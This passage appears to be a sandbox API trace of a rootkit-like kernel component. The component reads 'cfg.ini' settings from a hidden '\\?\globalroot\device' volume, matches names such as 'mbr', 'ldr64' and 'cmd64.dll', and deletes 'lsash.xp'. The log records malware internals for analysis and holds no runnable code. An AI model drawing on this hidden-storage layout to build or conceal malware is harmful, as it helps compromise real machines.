ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.462] ExFreePoolWithTag (P=0xfffffa8003be5f00, Tag=0x0) [0122.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.462] KeLeaveCriticalRegion () [0122.462] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.462] ReleaseMutex (hMutex=0xf0) returned 1 [0122.462] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.462] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.462] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.462] KeEnterCriticalRegion () [0122.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.462] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.462] IdePortDispatch () returned 0x103 [0122.462] KeWaitForMutexObject () returned 0x0 [0122.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.462] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.462] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.462] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.463] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.463] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4e00 [0122.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.463] KeLeaveCriticalRegion () [0122.463] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.463] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.463] KeEnterCriticalRegion () [0122.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.463] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.463] KeLeaveCriticalRegion () [0122.463] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.463] KeEnterCriticalRegion () [0122.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.463] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.463] IdePortDispatch () returned 0x103 [0122.463] KeWaitForMutexObject () returned 0x0 [0122.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.463] KeLeaveCriticalRegion () [0122.463] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.463] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.463] KeEnterCriticalRegion () [0122.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c98000 [0122.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.463] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.463] IdePortDispatch () returned 0x103 [0122.463] KeWaitForMutexObject () returned 0x0 [0122.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.464] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.464] IdePortDispatch () returned 0x103 [0122.464] KeWaitForMutexObject () returned 0x0 [0122.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.464] KeLeaveCriticalRegion () [0122.464] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.464] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.464] KeEnterCriticalRegion () [0122.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.464] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.464] KeLeaveCriticalRegion () [0122.464] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.465] KeEnterCriticalRegion () [0122.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.465] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.465] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.465] KeLeaveCriticalRegion () [0122.465] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.465] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.465] KeEnterCriticalRegion () [0122.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.465] ExFreePoolWithTag (P=0xfffffa8003be4e00, Tag=0x0) [0122.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.465] KeLeaveCriticalRegion () [0122.465] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.465] ReleaseMutex (hMutex=0xf0) returned 1 [0122.465] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.465] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.465] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.465] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.465] KeEnterCriticalRegion () [0122.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.465] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.465] IdePortDispatch () returned 0x103 [0122.465] KeWaitForMutexObject () returned 0x0 [0122.465] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.465] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.465] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.465] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.465] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.465] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.465] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.465] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.465] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.465] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.465] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.465] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.465] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.466] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.466] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.466] KeLeaveCriticalRegion () [0122.466] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.466] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.466] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.466] KeEnterCriticalRegion () [0122.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.466] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.466] IdePortDispatch () returned 0x103 [0122.467] KeWaitForMutexObject () returned 0x0 [0122.467] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.467] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.467] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.467] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.467] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.467] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.467] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.467] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.467] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.467] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.467] KeLeaveCriticalRegion () [0122.467] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.468] ReleaseMutex (hMutex=0x100) returned 1 [0122.468] Sleep (dwMilliseconds=0x2bf20) [0122.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c3262f0, dwHighDateTime=0x1d24fa4)) [0122.474] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.474] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.474] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.474] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.474] KeEnterCriticalRegion () [0122.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.474] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.474] IdePortDispatch () returned 0x103 [0122.474] KeWaitForMutexObject () returned 0x0 [0122.474] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.474] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.474] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.474] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.474] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.474] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4e00 [0122.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.474] KeLeaveCriticalRegion () [0122.474] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.474] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.474] KeEnterCriticalRegion () [0122.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.475] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.475] KeLeaveCriticalRegion () [0122.475] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.475] KeEnterCriticalRegion () [0122.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.475] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.475] IdePortDispatch () returned 0x103 [0122.475] KeWaitForMutexObject () returned 0x0 [0122.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.475] KeLeaveCriticalRegion () [0122.475] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.475] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.475] KeEnterCriticalRegion () [0122.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.475] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9b000 [0122.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.475] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.475] IdePortDispatch () returned 0x103 [0122.475] KeWaitForMutexObject () returned 0x0 [0122.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.476] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.476] IdePortDispatch () returned 0x103 [0122.476] KeWaitForMutexObject () returned 0x0 [0122.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.476] KeLeaveCriticalRegion () [0122.476] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.476] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.476] KeEnterCriticalRegion () [0122.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.476] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.476] KeLeaveCriticalRegion () [0122.476] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.476] KeEnterCriticalRegion () [0122.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.477] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.477] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.477] KeLeaveCriticalRegion () [0122.477] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.477] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.477] KeEnterCriticalRegion () [0122.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.477] ExFreePoolWithTag (P=0xfffffa8003be4e00, Tag=0x0) [0122.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.477] KeLeaveCriticalRegion () [0122.477] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.477] ReleaseMutex (hMutex=0xf0) returned 1 [0122.477] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.477] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.477] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.477] KeEnterCriticalRegion () [0122.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.477] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.477] IdePortDispatch () returned 0x103 [0122.477] KeWaitForMutexObject () returned 0x0 [0122.477] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.477] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.477] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.477] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.477] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.477] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6670 [0122.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.477] KeLeaveCriticalRegion () [0122.477] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.477] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.477] KeEnterCriticalRegion () [0122.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.478] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.478] KeLeaveCriticalRegion () [0122.478] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.478] KeEnterCriticalRegion () [0122.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.478] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.478] IdePortDispatch () returned 0x103 [0122.478] KeWaitForMutexObject () returned 0x0 [0122.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.478] KeLeaveCriticalRegion () [0122.478] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.478] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.478] KeEnterCriticalRegion () [0122.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.478] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, 